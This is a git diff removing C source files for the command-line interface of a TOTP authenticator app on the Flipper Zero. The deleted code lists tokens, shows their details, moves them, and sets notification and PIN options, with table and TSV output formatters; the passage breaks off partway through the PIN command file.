-void totp_cli_command_delete_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_delete_docopt_commands(); -void totp_cli_command_delete_docopt_usage(); -void totp_cli_command_delete_docopt_arguments(); -void totp_cli_command_delete_docopt_options(); -#endif diff --git a/applications/external/totp/cli/commands/details/details.c b/applications/external/totp/cli/commands/details/details.c deleted file mode 100644 index cc4c9eeff..000000000 --- a/applications/external/totp/cli/commands/details/details.c +++ /dev/null @@ -1,132 +0,0 @@ -#include "details.h" -#include -#include -#include "../../../types/token_info.h" -#include "../../../services/config/constants.h" -#include "../../../services/config/config.h" -#include "../../../ui/scene_director.h" -#include "../../cli_helpers.h" -#include "../../common_command_arguments.h" -#include "formatters/table/details_output_formatter_table.h" -#include "formatters/tsv/details_output_formatter_tsv.h" - -typedef void (*TOTP_CLI_DETAILS_HEADER_FORMATTER)(); -typedef void (*TOTP_CLI_DETAILS_FOOTER_FORMATTER)(); -typedef void (*TOTP_CLI_DETAILS_AUTOMATION_FEATURE_ITEM_FORMATTER)( - const char* key, - const char* feature, - bool* header_printed); -typedef void (*TOTP_CLI_DETAILS_CSTR_FORMATTER)(const char* key, const char* value); -typedef void (*TOTP_CLI_DETAILS_UINT8T_FORMATTER)(const char* key, uint8_t value); -typedef void (*TOTP_CLI_DETAILS_SIZET_FORMATTER)(const char* key, size_t value); - -typedef struct { - const TOTP_CLI_DETAILS_HEADER_FORMATTER header_formatter; - const TOTP_CLI_DETAILS_FOOTER_FORMATTER footer_formatter; - const TOTP_CLI_DETAILS_AUTOMATION_FEATURE_ITEM_FORMATTER automation_feature_item_formatter; - const TOTP_CLI_DETAILS_CSTR_FORMATTER cstr_formatter; - const TOTP_CLI_DETAILS_UINT8T_FORMATTER uint8t_formatter; - const TOTP_CLI_DETAILS_SIZET_FORMATTER sizet_formatter; -} TotpCliDetailsFormatter; - -static const TotpCliDetailsFormatter available_formatters[] = { - {.header_formatter = &details_output_formatter_print_header_table, - .footer_formatter = &details_output_formatter_print_footer_table, - .automation_feature_item_formatter = &details_output_formatter_print_automation_feature_table, - .cstr_formatter = &details_output_formatter_print_cstr_table, - .uint8t_formatter = &details_output_formatter_print_uint8t_table, - .sizet_formatter = &details_output_formatter_print_sizet_table}, - - {.header_formatter = &details_output_formatter_print_header_tsv, - .footer_formatter = &details_output_formatter_print_footer_tsv, - .automation_feature_item_formatter = &details_output_formatter_print_automation_feature_tsv, - .cstr_formatter = &details_output_formatter_print_cstr_tsv, - .uint8t_formatter = &details_output_formatter_print_uint8t_tsv, - .sizet_formatter = &details_output_formatter_print_sizet_tsv}, -}; - -static void print_automation_features( - const TokenInfo* token_info, - const TotpCliDetailsFormatter* formatter) { - bool header_printed = false; - const char* AUTOMATION_FEATURES_PRINT_KEY = "Automation features"; - if(token_info->automation_features == TokenAutomationFeatureNone) { - (*formatter->automation_feature_item_formatter)( - AUTOMATION_FEATURES_PRINT_KEY, "None", &header_printed); - return; - } - - if(token_info->automation_features & TokenAutomationFeatureEnterAtTheEnd) { - (*formatter->automation_feature_item_formatter)( - AUTOMATION_FEATURES_PRINT_KEY, "Type key at the end", &header_printed); - } - - if(token_info->automation_features & TokenAutomationFeatureTabAtTheEnd) { - (*formatter->automation_feature_item_formatter)( - AUTOMATION_FEATURES_PRINT_KEY, "Type key at the end", &header_printed); - } - - if(token_info->automation_features & TokenAutomationFeatureTypeSlower) { - (*formatter->automation_feature_item_formatter)( - AUTOMATION_FEATURES_PRINT_KEY, "Type slower", &header_printed); - } -} - -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_details_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_DETAILS ", " TOTP_CLI_COMMAND_DETAILS_ALT - " Displays token details\r\n"); -} - -void totp_cli_command_details_docopt_usage() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_NAME " " DOCOPT_REQUIRED( - TOTP_CLI_COMMAND_DETAILS - " | " TOTP_CLI_COMMAND_DETAILS_ALT) " " DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_ARG_INDEX) "\r\n"); -} -#endif - -void totp_cli_command_details_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - int token_number; - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - if(!args_read_int_and_trim(args, &token_number) || token_number <= 0 || - (size_t)token_number > totp_token_info_iterator_get_total_count(iterator_context)) { - totp_cli_print_invalid_arguments(); - return; - } - - const TotpCliDetailsFormatter* formatter = &available_formatters[0]; - FuriString* arg = furi_string_alloc(); - if(args_read_string_and_trim(args, arg) && furi_string_cmpi_str(arg, "--tsv") == 0) { - formatter = &available_formatters[1]; - } - - furi_string_free(arg); - - TOTP_CLI_LOCK_UI(plugin_state); - - size_t original_token_index = - totp_token_info_iterator_get_current_token_index(iterator_context); - if(totp_token_info_iterator_go_to(iterator_context, token_number - 1)) { - const TokenInfo* token_info = totp_token_info_iterator_get_current_token(iterator_context); - - (*formatter->header_formatter)(); - (*formatter->sizet_formatter)("Index", token_number); - (*formatter->cstr_formatter)("Name", furi_string_get_cstr(token_info->name)); - (*formatter->cstr_formatter)("Hashing algorithm", token_info_get_algo_as_cstr(token_info)); - (*formatter->uint8t_formatter)("Number of digits", token_info->digits); - (*formatter->uint8t_formatter)("Token lifetime", token_info->duration); - print_automation_features(token_info, formatter); - (*formatter->footer_formatter)(); - } else { - totp_cli_print_error_loading_token_info(); - } - - totp_token_info_iterator_go_to(iterator_context, original_token_index); - - TOTP_CLI_UNLOCK_UI(plugin_state); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/details/details.h b/applications/external/totp/cli/commands/details/details.h deleted file mode 100644 index aec1a0184..000000000 --- a/applications/external/totp/cli/commands/details/details.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../config/app/config.h" - -#define TOTP_CLI_COMMAND_DETAILS "lsattr" -#define TOTP_CLI_COMMAND_DETAILS_ALT "cat" - -void totp_cli_command_details_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_details_docopt_commands(); -void totp_cli_command_details_docopt_usage(); -#endif diff --git a/applications/external/totp/cli/commands/details/formatters/table/details_output_formatter_table.c b/applications/external/totp/cli/commands/details/formatters/table/details_output_formatter_table.c deleted file mode 100644 index 44290db69..000000000 --- a/applications/external/totp/cli/commands/details/formatters/table/details_output_formatter_table.c +++ /dev/null @@ -1,32 +0,0 @@ -#include "details_output_formatter_table.h" -#include "../../../../cli_helpers.h" - -void details_output_formatter_print_header_table() { - TOTP_CLI_PRINTF("+----------------------+------------------------------+\r\n"); - TOTP_CLI_PRINTF("| %-20s | %-28s |\r\n", "Property", "Value"); - TOTP_CLI_PRINTF("+----------------------+------------------------------+\r\n"); -} - -void details_output_formatter_print_footer_table() { - TOTP_CLI_PRINTF("+----------------------+------------------------------+\r\n"); -} - -void details_output_formatter_print_automation_feature_table( - const char* key, - const char* feature, - bool* header_printed) { - TOTP_CLI_PRINTF("| %-20s | %-28.28s |\r\n", *header_printed ? "" : key, feature); - *header_printed = true; -} - -void details_output_formatter_print_cstr_table(const char* key, const char* value) { - TOTP_CLI_PRINTF("| %-20s | %-28.28s |\r\n", key, value); -} - -void details_output_formatter_print_uint8t_table(const char* key, uint8_t value) { - TOTP_CLI_PRINTF("| %-20s | %-28" PRIu8 " |\r\n", key, value); -} - -void details_output_formatter_print_sizet_table(const char* key, size_t value) { - TOTP_CLI_PRINTF("| %-20s | %-28" PRIu16 " |\r\n", key, value); -} diff --git a/applications/external/totp/cli/commands/details/formatters/table/details_output_formatter_table.h b/applications/external/totp/cli/commands/details/formatters/table/details_output_formatter_table.h deleted file mode 100644 index bdb6bf115..000000000 --- a/applications/external/totp/cli/commands/details/formatters/table/details_output_formatter_table.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include -#include -#include - -void details_output_formatter_print_header_table(); -void details_output_formatter_print_footer_table(); -void details_output_formatter_print_automation_feature_table( - const char* key, - const char* feature, - bool* header_printed); -void details_output_formatter_print_cstr_table(const char* key, const char* value); -void details_output_formatter_print_uint8t_table(const char* key, uint8_t value); -void details_output_formatter_print_sizet_table(const char* key, size_t value); diff --git a/applications/external/totp/cli/commands/details/formatters/tsv/details_output_formatter_tsv.c b/applications/external/totp/cli/commands/details/formatters/tsv/details_output_formatter_tsv.c deleted file mode 100644 index 39e61342c..000000000 --- a/applications/external/totp/cli/commands/details/formatters/tsv/details_output_formatter_tsv.c +++ /dev/null @@ -1,29 +0,0 @@ -#include "details_output_formatter_tsv.h" -#include "../../../../cli_helpers.h" - -void details_output_formatter_print_header_tsv() { - TOTP_CLI_PRINTF("%s\t%s\r\n", "Property", "Value"); -} - -void details_output_formatter_print_footer_tsv() { -} - -void details_output_formatter_print_automation_feature_tsv( - const char* key, - const char* feature, - bool* header_printed) { - TOTP_CLI_PRINTF("%s\t%s\r\n", *header_printed ? "" : key, feature); - *header_printed = true; -} - -void details_output_formatter_print_cstr_tsv(const char* key, const char* value) { - TOTP_CLI_PRINTF("%s\t%s\r\n", key, value); -} - -void details_output_formatter_print_uint8t_tsv(const char* key, uint8_t value) { - TOTP_CLI_PRINTF("%s\t%" PRIu8 "\r\n", key, value); -} - -void details_output_formatter_print_sizet_tsv(const char* key, size_t value) { - TOTP_CLI_PRINTF("%s\t%" PRIu16 "\r\n", key, value); -} diff --git a/applications/external/totp/cli/commands/details/formatters/tsv/details_output_formatter_tsv.h b/applications/external/totp/cli/commands/details/formatters/tsv/details_output_formatter_tsv.h deleted file mode 100644 index 15b20ffcb..000000000 --- a/applications/external/totp/cli/commands/details/formatters/tsv/details_output_formatter_tsv.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include -#include -#include - -void details_output_formatter_print_header_tsv(); -void details_output_formatter_print_footer_tsv(); -void details_output_formatter_print_automation_feature_tsv( - const char* key, - const char* feature, - bool* header_printed); -void details_output_formatter_print_cstr_tsv(const char* key, const char* value); -void details_output_formatter_print_uint8t_tsv(const char* key, uint8_t value); -void details_output_formatter_print_sizet_tsv(const char* key, size_t value); diff --git a/applications/external/totp/cli/commands/help/help.c b/applications/external/totp/cli/commands/help/help.c deleted file mode 100644 index e5519d043..000000000 --- a/applications/external/totp/cli/commands/help/help.c +++ /dev/null @@ -1,76 +0,0 @@ -#include "help.h" -#include "../../cli_helpers.h" -#include "../add/add.h" -#include "../update/update.h" -#include "../delete/delete.h" -#include "../list/list.h" -#include "../timezone/timezone.h" -#include "../move/move.h" -#include "../pin/pin.h" -#include "../notification/notification.h" -#include "../reset/reset.h" -#include "../automation/automation.h" -#include "../details/details.h" - -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_help_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_HELP ", " TOTP_CLI_COMMAND_HELP_ALT - ", " TOTP_CLI_COMMAND_HELP_ALT2 " Show command usage help\r\n"); -} - -void totp_cli_command_help_docopt_usage() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_NAME " " DOCOPT_REQUIRED( - TOTP_CLI_COMMAND_HELP " | " TOTP_CLI_COMMAND_HELP_ALT - " | " TOTP_CLI_COMMAND_HELP_ALT2) "\r\n"); -} -#endif - -void totp_cli_command_help_handle() { -#ifdef TOTP_CLI_RICH_HELP_ENABLED - TOTP_CLI_PRINTF("Usage:\r\n"); - totp_cli_command_help_docopt_usage(); - totp_cli_command_list_docopt_usage(); - totp_cli_command_details_docopt_usage(); - totp_cli_command_add_docopt_usage(); - totp_cli_command_update_docopt_usage(); - totp_cli_command_delete_docopt_usage(); - totp_cli_command_timezone_docopt_usage(); - totp_cli_command_move_docopt_usage(); - totp_cli_command_pin_docopt_usage(); - totp_cli_command_notification_docopt_usage(); - totp_cli_command_reset_docopt_usage(); - totp_cli_command_automation_docopt_usage(); - cli_nl(); - TOTP_CLI_PRINTF("Commands:\r\n"); - totp_cli_command_help_docopt_commands(); - totp_cli_command_list_docopt_commands(); - totp_cli_command_details_docopt_commands(); - totp_cli_command_add_docopt_commands(); - totp_cli_command_update_docopt_commands(); - totp_cli_command_delete_docopt_commands(); - totp_cli_command_timezone_docopt_commands(); - totp_cli_command_move_docopt_commands(); - totp_cli_command_pin_docopt_commands(); - totp_cli_command_notification_docopt_commands(); - totp_cli_command_reset_docopt_commands(); - totp_cli_command_automation_docopt_commands(); - cli_nl(); - TOTP_CLI_PRINTF("Arguments:\r\n"); - totp_cli_command_add_docopt_arguments(); - totp_cli_command_delete_docopt_arguments(); - totp_cli_command_move_docopt_arguments(); - totp_cli_command_timezone_docopt_arguments(); - totp_cli_command_notification_docopt_arguments(); - totp_cli_command_automation_docopt_arguments(); - cli_nl(); - TOTP_CLI_PRINTF("Options:\r\n"); - totp_cli_command_add_docopt_options(); - totp_cli_command_update_docopt_options(); - totp_cli_command_delete_docopt_options(); - totp_cli_command_pin_docopt_options(); - totp_cli_command_automation_docopt_options(); -#else - TOTP_CLI_PRINTF( - "All the TOTP CLI commands, their arguments, options and usage can be found here https://t.ly/_6pJG"); -#endif -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/help/help.h b/applications/external/totp/cli/commands/help/help.h deleted file mode 100644 index da7c2fd62..000000000 --- a/applications/external/totp/cli/commands/help/help.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include "../../../config/app/config.h" -#include - -#define TOTP_CLI_COMMAND_HELP "help" -#define TOTP_CLI_COMMAND_HELP_ALT "h" -#define TOTP_CLI_COMMAND_HELP_ALT2 "?" - -void totp_cli_command_help_handle(); -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_help_docopt_commands(); -void totp_cli_command_help_docopt_usage(); -#endif \ No newline at end of file diff --git a/applications/external/totp/cli/commands/list/formatters/table/list_output_formatter_table.c b/applications/external/totp/cli/commands/list/formatters/table/list_output_formatter_table.c deleted file mode 100644 index 8774a6edc..000000000 --- a/applications/external/totp/cli/commands/list/formatters/table/list_output_formatter_table.c +++ /dev/null @@ -1,22 +0,0 @@ -#include "list_output_formatter_table.h" -#include "../../../../cli_helpers.h" - -void list_output_formatter_print_header_table() { - TOTP_CLI_PRINTF("+-----+---------------------------+--------+----+-----+\r\n"); - TOTP_CLI_PRINTF("| %-3s | %-25s | %-6s | %-s | %-s |\r\n", "#", "Name", "Algo", "Ln", "Dur"); - TOTP_CLI_PRINTF("+-----+---------------------------+--------+----+-----+\r\n"); -} - -void list_output_formatter_print_body_item_table(size_t index, const TokenInfo* token_info) { - TOTP_CLI_PRINTF( - "| %-3" PRIu16 " | %-25.25s | %-6s | %-2" PRIu8 " | %-3" PRIu8 " |\r\n", - index + 1, - furi_string_get_cstr(token_info->name), - token_info_get_algo_as_cstr(token_info), - token_info->digits, - token_info->duration); -} - -void list_output_formatter_print_footer_table() { - TOTP_CLI_PRINTF("+-----+---------------------------+--------+----+-----+\r\n"); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/list/formatters/table/list_output_formatter_table.h b/applications/external/totp/cli/commands/list/formatters/table/list_output_formatter_table.h deleted file mode 100644 index e2ed9c4dc..000000000 --- a/applications/external/totp/cli/commands/list/formatters/table/list_output_formatter_table.h +++ /dev/null @@ -1,9 +0,0 @@ -#pragma once - -#include "../../../../../types/token_info.h" - -void list_output_formatter_print_header_table(); - -void list_output_formatter_print_body_item_table(size_t index, const TokenInfo* token_info); - -void list_output_formatter_print_footer_table(); \ No newline at end of file diff --git a/applications/external/totp/cli/commands/list/formatters/tsv/list_output_formatter_tsv.c b/applications/external/totp/cli/commands/list/formatters/tsv/list_output_formatter_tsv.c deleted file mode 100644 index 2bd455397..000000000 --- a/applications/external/totp/cli/commands/list/formatters/tsv/list_output_formatter_tsv.c +++ /dev/null @@ -1,19 +0,0 @@ -#include "list_output_formatter_tsv.h" -#include "../../../../cli_helpers.h" - -void list_output_formatter_print_header_tsv() { - TOTP_CLI_PRINTF("%s\t%s\t%s\t%s\t%s\r\n", "#", "Name", "Algo", "Ln", "Dur"); -} - -void list_output_formatter_print_body_item_tsv(size_t index, const TokenInfo* token_info) { - TOTP_CLI_PRINTF( - "%" PRIu16 "\t%s\t%s\t%" PRIu8 "\t%" PRIu8 "\r\n", - index + 1, - furi_string_get_cstr(token_info->name), - token_info_get_algo_as_cstr(token_info), - token_info->digits, - token_info->duration); -} - -void list_output_formatter_print_footer_tsv() { -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/list/formatters/tsv/list_output_formatter_tsv.h b/applications/external/totp/cli/commands/list/formatters/tsv/list_output_formatter_tsv.h deleted file mode 100644 index e01c95d2e..000000000 --- a/applications/external/totp/cli/commands/list/formatters/tsv/list_output_formatter_tsv.h +++ /dev/null @@ -1,9 +0,0 @@ -#pragma once - -#include "../../../../../types/token_info.h" - -void list_output_formatter_print_header_tsv(); - -void list_output_formatter_print_body_item_tsv(size_t index, const TokenInfo* token_info); - -void list_output_formatter_print_footer_tsv(); \ No newline at end of file diff --git a/applications/external/totp/cli/commands/list/list.c b/applications/external/totp/cli/commands/list/list.c deleted file mode 100644 index 1c39f3203..000000000 --- a/applications/external/totp/cli/commands/list/list.c +++ /dev/null @@ -1,80 +0,0 @@ -#include "list.h" -#include -#include -#include "../../../types/token_info.h" -#include "../../../services/config/constants.h" -#include "../../../services/config/config.h" -#include "../../../ui/scene_director.h" -#include "../../cli_helpers.h" -#include "formatters/table/list_output_formatter_table.h" -#include "formatters/tsv/list_output_formatter_tsv.h" - -typedef void (*TOTP_CLI_LIST_HEADER_FORMATTER)(); -typedef void (*TOTP_CLI_LIST_FOOTER_FORMATTER)(); -typedef void (*TOTP_CLI_LIST_BODY_ITEM_FORMATTER)(size_t index, const TokenInfo* token_info); - -typedef struct { - const TOTP_CLI_LIST_HEADER_FORMATTER header_formatter; - const TOTP_CLI_LIST_FOOTER_FORMATTER footer_formatter; - const TOTP_CLI_LIST_BODY_ITEM_FORMATTER body_item_formatter; -} TotpCliListFormatter; - -static const TotpCliListFormatter available_formatters[] = { - {.header_formatter = &list_output_formatter_print_header_table, - .body_item_formatter = &list_output_formatter_print_body_item_table, - .footer_formatter = &list_output_formatter_print_footer_table}, - - {.header_formatter = &list_output_formatter_print_header_tsv, - .body_item_formatter = &list_output_formatter_print_body_item_tsv, - .footer_formatter = &list_output_formatter_print_footer_tsv}}; - -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_list_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_LIST ", " TOTP_CLI_COMMAND_LIST_ALT - " List all available tokens\r\n"); -} - -void totp_cli_command_list_docopt_usage() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_NAME " " DOCOPT_REQUIRED( - TOTP_CLI_COMMAND_LIST " | " TOTP_CLI_COMMAND_LIST_ALT) "\r\n"); -} -#endif - -void totp_cli_command_list_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - size_t total_count = totp_token_info_iterator_get_total_count(iterator_context); - if(total_count <= 0) { - TOTP_CLI_PRINTF("There are no tokens"); - return; - } - - const TotpCliListFormatter* formatter = &available_formatters[0]; - FuriString* arg = furi_string_alloc(); - if(args_read_string_and_trim(args, arg) && furi_string_cmpi_str(arg, "--tsv") == 0) { - formatter = &available_formatters[1]; - } - - furi_string_free(arg); - - TOTP_CLI_LOCK_UI(plugin_state); - - size_t original_index = totp_token_info_iterator_get_current_token_index(iterator_context); - - (*formatter->header_formatter)(); - for(size_t i = 0; i < total_count; i++) { - totp_token_info_iterator_go_to(iterator_context, i); - const TokenInfo* token_info = totp_token_info_iterator_get_current_token(iterator_context); - (*formatter->body_item_formatter)(i, token_info); - } - - (*formatter->footer_formatter)(); - - totp_token_info_iterator_go_to(iterator_context, original_index); - - TOTP_CLI_UNLOCK_UI(plugin_state); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/list/list.h b/applications/external/totp/cli/commands/list/list.h deleted file mode 100644 index 0527e8c5f..000000000 --- a/applications/external/totp/cli/commands/list/list.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../config/app/config.h" - -#define TOTP_CLI_COMMAND_LIST "list" -#define TOTP_CLI_COMMAND_LIST_ALT "ls" - -void totp_cli_command_list_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_list_docopt_commands(); -void totp_cli_command_list_docopt_usage(); -#endif diff --git a/applications/external/totp/cli/commands/move/move.c b/applications/external/totp/cli/commands/move/move.c deleted file mode 100644 index fbf82a3bb..000000000 --- a/applications/external/totp/cli/commands/move/move.c +++ /dev/null @@ -1,85 +0,0 @@ -#include "move.h" - -#include -#include -#include "../../../types/token_info.h" -#include "../../../services/config/config.h" -#include "../../cli_helpers.h" -#include "../../../ui/scene_director.h" -#include "../../common_command_arguments.h" - -#define TOTP_CLI_COMMAND_MOVE_ARG_NEW_INDEX "new_index" - -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_move_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_MOVE ", " TOTP_CLI_COMMAND_MOVE_ALT - " Move token\r\n"); -} - -void totp_cli_command_move_docopt_usage() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NAME - " " DOCOPT_REQUIRED(TOTP_CLI_COMMAND_MOVE " | " TOTP_CLI_COMMAND_MOVE_ALT) " " DOCOPT_ARGUMENT( - TOTP_CLI_COMMAND_ARG_INDEX) " " DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_MOVE_ARG_NEW_INDEX) "\r\n"); -} - -void totp_cli_command_move_docopt_arguments() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_MOVE_ARG_NEW_INDEX - " New token index in the list\r\n"); -} -#endif - -void totp_cli_command_move_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - int token_number; - TokenInfoIteratorContext* iterator_context = - totp_config_get_token_iterator_context(plugin_state); - size_t total_count = totp_token_info_iterator_get_total_count(iterator_context); - if(!args_read_int_and_trim(args, &token_number) || token_number < 1 || - (size_t)token_number > total_count) { - totp_cli_print_invalid_arguments(); - return; - } - - int new_token_number = 0; - - if(!args_read_int_and_trim(args, &new_token_number) || new_token_number < 1 || - (size_t)new_token_number > total_count) { - totp_cli_print_invalid_arguments(); - return; - } - - if(token_number == new_token_number) { - TOTP_CLI_PRINTF_ERROR("New token number matches current token number\r\n"); - return; - } - - TOTP_CLI_LOCK_UI(plugin_state); - - size_t token_index = token_number - 1; - size_t new_token_index = new_token_number - 1; - - size_t original_token_index = - totp_token_info_iterator_get_current_token_index(iterator_context); - - totp_cli_print_processing(); - - if(totp_token_info_iterator_go_to(iterator_context, token_index) && - totp_token_info_iterator_move_current_token_info(iterator_context, new_token_index)) { - totp_cli_delete_last_line(); - TOTP_CLI_PRINTF_SUCCESS( - "Token \"%s\" has been successfully updated\r\n", - furi_string_get_cstr( - totp_token_info_iterator_get_current_token(iterator_context)->name)); - } else { - totp_cli_delete_last_line(); - totp_cli_print_error_updating_config_file(); - } - - totp_token_info_iterator_go_to(iterator_context, original_token_index); - - TOTP_CLI_UNLOCK_UI(plugin_state); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/move/move.h b/applications/external/totp/cli/commands/move/move.h deleted file mode 100644 index 0dfd90f6b..000000000 --- a/applications/external/totp/cli/commands/move/move.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../config/app/config.h" - -#define TOTP_CLI_COMMAND_MOVE "move" -#define TOTP_CLI_COMMAND_MOVE_ALT "mv" - -void totp_cli_command_move_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_move_docopt_commands(); -void totp_cli_command_move_docopt_usage(); -void totp_cli_command_move_docopt_arguments(); -#endif diff --git a/applications/external/totp/cli/commands/notification/notification.c b/applications/external/totp/cli/commands/notification/notification.c deleted file mode 100644 index d1814fb26..000000000 --- a/applications/external/totp/cli/commands/notification/notification.c +++ /dev/null @@ -1,105 +0,0 @@ -#include "notification.h" -#include -#include "../../../services/config/config.h" -#include "../../../ui/scene_director.h" -#include "../../cli_helpers.h" - -#define TOTP_CLI_COMMAND_NOTIFICATION_ARG_METHOD "notification" -#define TOTP_CLI_COMMAND_NOTIFICATION_METHOD_NONE "none" -#define TOTP_CLI_COMMAND_NOTIFICATION_METHOD_SOUND "sound" -#define TOTP_CLI_COMMAND_NOTIFICATION_METHOD_VIBRO "vibro" - -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_notification_docopt_commands() { - TOTP_CLI_PRINTF(" " TOTP_CLI_COMMAND_NOTIFICATION - " Get or set notification method\r\n"); -} - -void totp_cli_command_notification_docopt_usage() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NAME " " TOTP_CLI_COMMAND_NOTIFICATION " " DOCOPT_OPTIONAL( - DOCOPT_MULTIPLE(DOCOPT_ARGUMENT(TOTP_CLI_COMMAND_NOTIFICATION_ARG_METHOD))) "\r\n"); -} - -void totp_cli_command_notification_docopt_arguments() { - TOTP_CLI_PRINTF( - " " TOTP_CLI_COMMAND_NOTIFICATION_ARG_METHOD - " Notification method to be set. Must be one of: " TOTP_CLI_COMMAND_NOTIFICATION_METHOD_NONE - ", " TOTP_CLI_COMMAND_NOTIFICATION_METHOD_SOUND - ", " TOTP_CLI_COMMAND_NOTIFICATION_METHOD_VIBRO "\r\n"); -} -#endif - -static void - totp_cli_command_notification_print_method(NotificationMethod method, const char* color) { - bool has_previous_method = false; - if(method & NotificationMethodSound) { - TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_NOTIFICATION_METHOD_SOUND "\""); - has_previous_method = true; - } - if(method & NotificationMethodVibro) { - if(has_previous_method) { - TOTP_CLI_PRINTF_COLORFUL(color, " and "); - } - - TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_NOTIFICATION_METHOD_VIBRO "\""); - } - if(method == NotificationMethodNone) { - TOTP_CLI_PRINTF_COLORFUL(color, "\"" TOTP_CLI_COMMAND_NOTIFICATION_METHOD_NONE "\""); - } -} - -void totp_cli_command_notification_handle(PluginState* plugin_state, FuriString* args, Cli* cli) { - if(!totp_cli_ensure_authenticated(plugin_state, cli)) { - return; - } - - FuriString* temp_str = furi_string_alloc(); - bool new_method_provided = false; - NotificationMethod new_method = NotificationMethodNone; - bool args_valid = true; - while(args_read_string_and_trim(args, temp_str)) { - if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_NOTIFICATION_METHOD_NONE) == 0) { - new_method_provided = true; - new_method = NotificationMethodNone; - } else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_NOTIFICATION_METHOD_SOUND) == 0) { - new_method_provided = true; - new_method |= NotificationMethodSound; - } else if(furi_string_cmpi_str(temp_str, TOTP_CLI_COMMAND_NOTIFICATION_METHOD_VIBRO) == 0) { - new_method_provided = true; - new_method |= NotificationMethodVibro; - } else { - args_valid = false; - break; - } - } - - do { - if(!args_valid) { - totp_cli_print_invalid_arguments(); - break; - } - - if(new_method_provided) { - TOTP_CLI_LOCK_UI(plugin_state); - - plugin_state->notification_method = new_method; - if(totp_config_file_update_notification_method(plugin_state)) { - TOTP_CLI_PRINTF_SUCCESS("Notification method is set to "); - totp_cli_command_notification_print_method(new_method, TOTP_CLI_COLOR_SUCCESS); - cli_nl(); - } else { - totp_cli_print_error_updating_config_file(); - } - - TOTP_CLI_UNLOCK_UI(plugin_state); - } else { - TOTP_CLI_PRINTF_INFO("Current notification method is "); - totp_cli_command_notification_print_method( - plugin_state->notification_method, TOTP_CLI_COLOR_INFO); - cli_nl(); - } - } while(false); - - furi_string_free(temp_str); -} \ No newline at end of file diff --git a/applications/external/totp/cli/commands/notification/notification.h b/applications/external/totp/cli/commands/notification/notification.h deleted file mode 100644 index e4cdb651d..000000000 --- a/applications/external/totp/cli/commands/notification/notification.h +++ /dev/null @@ -1,14 +0,0 @@ -#pragma once - -#include -#include "../../../types/plugin_state.h" -#include "../../../config/app/config.h" - -#define TOTP_CLI_COMMAND_NOTIFICATION "notify" - -void totp_cli_command_notification_handle(PluginState* plugin_state, FuriString* args, Cli* cli); -#ifdef TOTP_CLI_RICH_HELP_ENABLED -void totp_cli_command_notification_docopt_commands(); -void totp_cli_command_notification_docopt_usage(); -void totp_cli_command_notification_docopt_arguments(); -#endif \ No newline at end of file diff --git a/applications/external/totp/cli/commands/pin/pin.c b/applications/external/totp/cli/commands/pin/pin.c deleted file mode 100644 index d31790950..000000000 --- a/applications/external/totp/cli/commands/pin/pin.c +++ /dev/null @@ -1,193 +0,0 @@ -#include "pin.h" - -#include -#include -#include "../../../types/token_info.h" -#include "../../../types/user_pin_codes.h" -#include "../../../services/config/config.h" -#include "../../cli_helpers.h" -#include -#include "../../../services/crypto/crypto_facade.h" -#include "../../../ui/scene_director.h" - -#define TOTP_CLI_COMMAND_PIN_COMMAND_SET "set" -#define TOTP_CLI_COMMAND_PIN_COMMAND_REMOVE "remove" -#define 